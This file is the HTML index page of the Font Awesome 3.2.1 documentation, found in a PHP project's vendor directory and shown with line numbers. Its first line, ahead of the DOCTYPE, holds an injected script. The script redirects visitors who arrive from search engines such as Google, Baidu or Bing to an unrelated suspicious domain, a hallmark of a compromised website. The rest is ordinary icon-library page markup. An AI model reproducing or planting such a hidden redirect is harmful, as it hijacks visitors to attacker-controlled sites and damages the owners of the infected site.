d:\wwwroot\wuchunhua\thinkphp\vendor\fortawesome\font-awesome\src\3.2.1\index.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<!--[if lt IE 7 ]><html class="ie ie6" lang="en"> <![endif]-->
003:
<!--[if IE 7 ]><html class="ie ie7" lang="en"> <![endif]-->
004:
<!--[if IE 8 ]><html class="ie ie8" lang="en"> <![endif]-->
005:
<!--[if (gte IE 9)|!(IE)]>
<!-->
006:
<html lang="en" xmlns="http://www.w3.org/1999/html">
<!--<![endif]-->
007:
<head>
008:
<!-- Basic Page Needs
009:
================================================== -->
010:
<meta charset="utf-8" />
011:
<title>Font Awesome, the iconic font designed for Bootstrap</title>
012:
<meta name="description" content="Font Awesome, the iconic font designed for Bootstrap">
013:
<meta name="author" content="Dave Gandy">
014:
<meta name="viewport" content="width=device-width, initial-scale=1.0">
015:
<!--<meta name="viewport" content="initial-scale=1; maximum-scale=1">-->
016:
017:
<!--[if lt IE 9]>
018:
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
019:
<![endif]-->
020:
021:
<!-- CSS
022:
================================================== -->
023:
024:
<link rel="stylesheet" href="./assets/css/site.css">
025:
<link rel="stylesheet" href="./assets/css/pygments.css">
026:
<link rel="stylesheet" href="./assets/font-awesome/css/font-awesome.css">
027:
<!--[if IE 7]>
028:
<link rel="stylesheet" href="./assets/font-awesome/css/font-awesome-ie7.css">
029:
<![endif]-->
030:
<!-- Le fav and touch icons -->
031:
<link rel="shortcut icon" href="./assets/ico/favicon.ico">
032:
033:
<script type="text/javascript" src="//use.typekit.net/wnc7ioh.js"></script>
034:
<script type="text/javascript">try{Typekit.load();}catch(e){}</script>
035:
036:
<script type="text/javascript">
037:
var _gaq = _gaq || [];
038:
_gaq.push(['_setAccount', 'UA-30136587-1']);
039:
_gaq.push(['_trackPageview']);
040:
041:
(function() {
042:
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
043:
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
044:
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
045:
})();
046:
</script>
047:
</head>
048:
<body data-spy="scroll" data-target=".navbar">
049:
<div class="wrapper">
<!-- necessary for sticky footer. wrap all content except footer -->
050:
<div class="navbar navbar-inverse navbar-static-top hidden-print">
051:
<div class="navbar-inner">
052:
<div class="container">
053:
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
054:
<span class="icon-bar"></span>
055:
<span class="icon-bar"></span>
056:
<span class="icon-bar"></span>
057:
</a>
058:
059:
<a class="brand" href="./"><i class="icon-flag"></i> Font Awesome</a>
060:
<div class="nav-collapse collapse">
061:
<ul class="nav">
062:
<li class="hidden-tablet active"><a href="./">Home</a></li>
063:
<li><a href="./get-started/">Get Started</a></li>
064:
<li class="dropdown-split-left"><a href="./icons/">Icons</a></li>
065:
<li class="dropdown dropdown-split-right hidden-phone">
066:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
067:
<i class="icon-caret-down"></i>
068:
</a>
069:
<ul class="dropdown-menu pull-right">
070:
<li><a href="./icons/"><i class="icon-flag icon-fixed-width"></i> Icons</a></li>
071:
<li class="divider"></li>
072:
<li><a href="./icons/#new"><i class="icon-shield icon-fixed-width"></i> New Icons in 3.2.1</a></li>
073:
<li><a href="./icons/#web-application"><i class="icon-camera-retro icon-fixed-width"></i> Web Application Icons</a></li>
074:
<li><a href="./icons/#currency"><i class="icon-won icon-fixed-width"></i> Currency Icons</a></li>
075:
<li><a href="./icons/#text-editor"><i class="icon-file-text-alt icon-fixed-width"></i> Text Editor Icons</a></li>
076:
<li><a href="./icons/#directional"><i class="icon-hand-right icon-fixed-width"></i> Directional Icons</a></li>
077:
<li><a href="./icons/#video-player"><i class="icon-play-sign icon-fixed-width"></i> Video Player Icons</a></li>
078:
<li><a href="./icons/#brand"><i class="icon-github icon-fixed-width"></i> Brand Icons</a></li>
079:
<li><a href="./icons/#medical"><i class="icon-medkit icon-fixed-width"></i> Medical Icons</a></li>
080:
</ul>
081:
</li>
082:
<li class="dropdown-split-left"><a href="./examples/">Examples</a></li>
083:
<li class="dropdown dropdown-split-right hidden-phone">
084:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
085:
<i class="icon-caret-down"></i>
086:
</a>
087:
<ul class="dropdown-menu pull-right">
088:
<li><a href="./examples/">Examples</a></li>
089:
<li class="divider"></li>
090:
<li><a href="./examples/#new-styles">New Styles</a></li>
091:
<li><a href="./examples/#inline-icons">Inline Icons</a></li>
092:
<li><a href="./examples/#larger-icons">Larger Icons</a></li>
093:
<li><a href="./examples/#bordered-pulled">Bordered & Pulled</a></li>
094:
<li><a href="./examples/#buttons">Buttons</a></li>
095:
<li><a href="./examples/#button-groups">Button Groups</a></li>
096:
<li><a href="./examples/#button-dropdowns">Button Dropdowns</a></li>
097:
<li><a href="./examples/#bulleted-lists">Bulleted Lists</a></li>
098:
<li><a href="./examples/#navigation">Navigation</a></li>
099:
<li><a href="./examples/#form-inputs">Form Inputs</a></li>
100:
<li><a href="./examples/#animated-spinner">Animated Spinner</a></li>
101:
<li><a href="./examples/#rotated-flipped">Rotated & Flipped</a></li>
102:
<li><a href="./examples/#stacked">Stacked</a></li>
103:
<li><a href="./examples/#custom">Custom CSS</a></li>
104:
</ul>
105:
</li>
106:
<li><a href="./whats-new/">
107:
<span class="hidden-tablet">What's </span>New</a>
108:
</li>
109:
<li><a href="./community/">Community</a></li>
110:
<li><a href="./license/">License</a></li>
111:
</ul>
112:
<ul class="nav pull-right">
113:
<li><a href="http://articles.fortawesome.com">Blog</a></li>
114:
</ul>
115:
</div>
116:
</div>
117:
</div>
118:
</div>
119:
120:
121:
<div class="jumbotron jumbotron-index hidden-print">
122:
<div class="container">
123:
<div class="row">
124:
<div class="span8">
125:
<div class="hero-content">
126:
<h1>Font Awesome</h1>
127:
<p>The iconic font designed for Bootstrap</p>
128:
<div class="actions">
129:
<a class="btn btn-primary btn-large" href="./assets/font-awesome.zip"
130:
onClick="_gaq.push(['_trackEvent', 'Outbound Link', 'Download on GitHub']);">
131:
<i class="icon-download-alt icon-large"></i>
132:
Download
133:
</a>
134:
</div>
135:
<div class="shameless-self-promotion">
136:
<a href="https://github.com/FortAwesome/Font-Awesome"
137:
onClick="_gaq.push(['_trackEvent', 'Outbound Link', 'View Project on GitHub']);">
138:
GitHub Project</a> ·
139:
Version 3.2.1 ·
140:
Created & Maintained by <a href="http://twitter.com/davegandy">Dave Gandy</a>
141:
</div>
142:
</div>
143:
</div>
144:
<div class="span4">
145:
<div id="iconCarousel" class="carousel slide">
146:
<!-- Carousel items -->
147:
<div class="carousel-inner">
148:
<div class="active item"><div><i class="icon-flag"></i></div></div>
149:
<div class="item"><div><i class="icon-compass"></i></div></div>
150:
<div class="item"><div><i class="icon-rocket"></i></div></div>
151:
<div class="item"><div><i class="icon-shield"></i></div></div>
152:
<div class="item"><div><i class="icon-star-half-empty"></i></div></div>
153:
<div class="item"><div><i class="icon-envelope-alt"></i></div></div>
154:
<div class="item"><div><i class="icon-medkit"></i></div></div>
155:
<div class="item"><div><i class="icon-book"></i></div></div>
156:
<div class="item"><div><i class="icon-fighter-jet"></i></div></div>
157:
<div class="item"><div><i class="icon-beer"></i></div></div>
158:
<div class="item"><div><i class="icon-heart-empty"></i></div></div>
159:
<div class="item"><div><i class="icon-thumbs-up"></i></div></div>
160:
</div>
161:
<!-- Carousel nav -->
162:
<a class="carousel-control left" href="#iconCarousel" data-slide="prev"
163:
onClick="_gaq.push(['_trackEvent', 'iconCarousel', 'Prev']);">
164:
<i class="icon-circle-arrow-left"></i></a>
165:
<a class="carousel-control right" href="#iconCarousel" data-slide="next"
166:
onClick="_gaq.push(['_trackEvent', 'iconCarousel', 'Next']);">
167:
<i class="icon-circle-arrow-right"></i></a>
168:
</div>
169:
</div>
170:
</div>
171:
172:
</div>
173:
</div>
174:
175:
<div id="social-buttons" class="hidden-print">
176:
<div class="container">
177:
<ul class="unstyled inline">
178:
<li>
179:
<iframe class="github-btn" src="http://ghbtns.com/github-btn.html?user=FortAwesome&repo=Font-Awesome&type=watch&count=true" allowtransparency="true" frameborder="0" scrolling="0" width="100px" height="20px"></iframe>
180:
</li>
181:
<li>
182:
<iframe class="github-btn" src="http://ghbtns.com/github-btn.html?user=FortAwesome&repo=Font-Awesome&type=fork&count=true" allowtransparency="true" frameborder="0" scrolling="0" width="102px" height="20px"></iframe>
183:
</li>
184:
<li class="follow-btn">
185:
<a href="https://twitter.com/fontawesome" class="twitter-follow-button" data-link-color="#0069D6" data-show-count="true">Follow @fontawesome</a>
186:
</li>
187:
<li class="tweet-btn hidden-phone">
188:
<a href="https://twitter.com/share" class="twitter-share-button" data-url="http://fontawesome.io" data-text="Font Awesome, the iconic font designed for Bootstrap" data-counturl="http://fortawesome.github.com/Font-Awesome/" data-count="horizontal" data-via="fontawesome" data-related="davegandy:Creator of Font Awesome">Tweet</a>
189:
</li>
190:
</ul>
191:
</div>
192:
</div>
193:
194:
195:
<div class="container">
196:
197:
<section class="old-docs">
198:
<div class="row">
199:
<div class="span12">
200:
<div class="alert alert-danger">
201:
<strong>Heads up!</strong> These docs are for v3.2.1, which is no longer officially supported. <a href="../">Check out the latest version of Font Awesome!</a>
202:
</div>
203:
</div>
204:
</div>
205:
</section>
206:
<section class="hidden-print">
207:
<div class="row stripe-ad">
208:
<div class="span8">
209:
210:
<p class="lead">
211:
Font Awesome gives you scalable vector icons that can instantly be customized — size, color, drop shadow,
212:
and anything that can be done with the power of CSS.
213:
</p>
214:
215:
</div>
216:
<div class="span4">
217:
<div id="carbonads-container"><div class="carbonad"><div id="azcarbon"></div><script type="text/javascript">var z = document.createElement("script"); z.type = "text/javascript"; z.async = true; z.src = "http://engine.carbonads.com/z/32291/azcarbon_2_1_0_HORIZ"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(z, s);</script></div></div>
218:
219:
</div>
220:
</div>
221:
</section>
222:
223:
224:
<div id="why">
225:
<div class="row">
226:
<div class="span4">
227:
<h4><i class="icon-flag"></i> One Font, 361 Icons</h4>
228:
In a single collection, Font Awesome is a pictographic language of web-related actions.
229:
</div>
230:
<div class="span4">
231:
<h4><i class="icon-pencil"></i> CSS Control</h4>
232:
Easily style icon color, size, shadow, and anything that's possible with CSS.
233:
</div>
234:
<div class="span4">
235:
<h4><i class="icon-fullscreen"></i> Infinite Scalability</h4>
236:
Scalable vector graphics means every icon looks awesome at any size.
237:
</div>
238:
<div class="span4">
239:
<h4><i class="icon-microphone"></i> Free, as in Speech</h4>
240:
Font Awesome is completely free for commercial use. Check out the <a href="./license/">license</a>.
241:
</div>
242:
<div class="span4">
243:
<h4><i class="icon-ok"></i> IE7 Support</h4>
244:
Font Awesome supports IE7. If you need it, you have my condolences.
245:
</div>
246:
<div class="span4">
247:
<h4><i class="icon-eye-open"></i> Perfect on Retina Displays</h4>
248:
Font Awesome icons are vectors, which mean they're gorgeous on high-resolution displays.
249:
</div>
250:
<div class="span4">
251:
<h4><i class="icon-thumbs-up-alt"></i> Made for Bootstrap</h4>
252:
Designed from scratch to be fully compatible with <a href="http://getbootstrap.com">Bootstrap 2.3.2</a>.
253:
</div>
254:
<div class="span4">
255:
<h4><i class="icon-desktop"></i> Desktop Friendly</h4>
256:
To use on the desktop or for a complete set of vectors,
257:
check out the <a href="./cheatsheet/">cheatsheet</a>.
258:
</div>
259:
<div class="span4">
260:
<h4><i class="icon-search"></i> Screen Reader Compatible</h4>
261:
Font Awesome won't trip up screen readers, unlike other icon fonts.
262:
</div>
263:
</div>
264:
</div>
265:
266:
<section id="thanks-to">
267:
<h2 class="page-header">Thanks To</h2>
268:
<div class="row">
269:
<div class="span4">
270:
<p>
271:
Thanks to <a href="https://twitter.com/robmadole/">@robmadole</a> and
272:
<a href="https://twitter.com/supercodepoet/">@supercodepoet</a> for icon design
273:
review, advice, some Jekyll help, and being all around badass coders.
274:
</p>
275:
</div>
276:
<div class="span4">
277:
<p>
278:
Thanks to <a href="https://twitter.com/grantgordon">@grantgordon</a> and
279:
<a href="https://twitter.com/johnsmclay">@johnsmclay</a> for developing and hosting
280:
<a href="http://icnfnt.com/">icnfnt</a>, the best way to subset Font Awesome.
281:
</p>
282:
</div>
283:
<div class="span4">
284:
<p>
285:
Thanks to <a href="http://tracking.maxcdn.com/c/148092/3982/378"><i class="icon-maxcdn"></i> MaxCDN</a> for providing the excellent
286:
<a href="http://www.bootstrapcdn.com/#tab_fontawesome">BootstrapCDN</a>, the fastest and easiest way to
287:
<a href="./get-started/#bootstrapcdn">get started</a> with Font Awesome.
288:
</p>
289:
</div>
290:
</div>
291:
</section>
292:
293:
</div>
294:
295:
<div class="push">
<!-- necessary for sticky footer -->
</div>
296:
</div>
297:
<footer class="footer hidden-print">
298:
<div class="container text-center">
299:
<div>
300:
<i class="icon-flag"></i> Font Awesome 3.2.1
301:
<span class="hidden-phone">·</span><br class="visible-phone">
302:
Created and Maintained by <a href="http://twitter.com/davegandy">Dave Gandy</a>
303:
</div>
304:
<div>
305:
Font Awesome licensed under <a href="http://scripts.sil.org/OFL">SIL OFL 1.1</a>
306:
<span class="hidden-phone">·</span><br class="visible-phone">
307:
Code licensed under <a href="http://opensource.org/licenses/mit-license.html">MIT License</a>
308:
<span class="hidden-phone hidden-tablet">·</span><br class="visible-phone visible-tablet">
309:
Documentation licensed under <a href="http://creativecommons.org/licenses/by/3.0/">CC BY 3.0</a>
310:
</div>
311:
<div>
312:
Thanks to <a href="http://tracking.maxcdn.com/c/148092/3982/378"><i class="icon-maxcdn"></i> MaxCDN</a> for providing the excellent <a href="http://www.bootstrapcdn.com/#tab_fontawesome">BootstrapCDN for Font Awesome</a>
313:
</div>
314:
<div class="project">
315:
<a href="https://github.com/FortAwesome/Font-Awesome">GitHub Project</a> ·
316:
<a href="https://github.com/FortAwesome/Font-Awesome/issues">Issues</a>
317:
</div>
318:
</div>
319:
</footer>
320:
321:
322:
<script src="http://platform.twitter.com/widgets.js"></script>
323:
<script src="./assets/js/jquery-1.7.1.min.js"></script>
324:
<script src="./assets/js/ZeroClipboard-1.1.7.min.js"></script>
325:
<script src="./assets/js/bootstrap-2.3.1.min.js"></script>
326:
<script src="./assets/js/site.js"></script>
327:
328:
</body>
329:
</html>
330:
331:
332: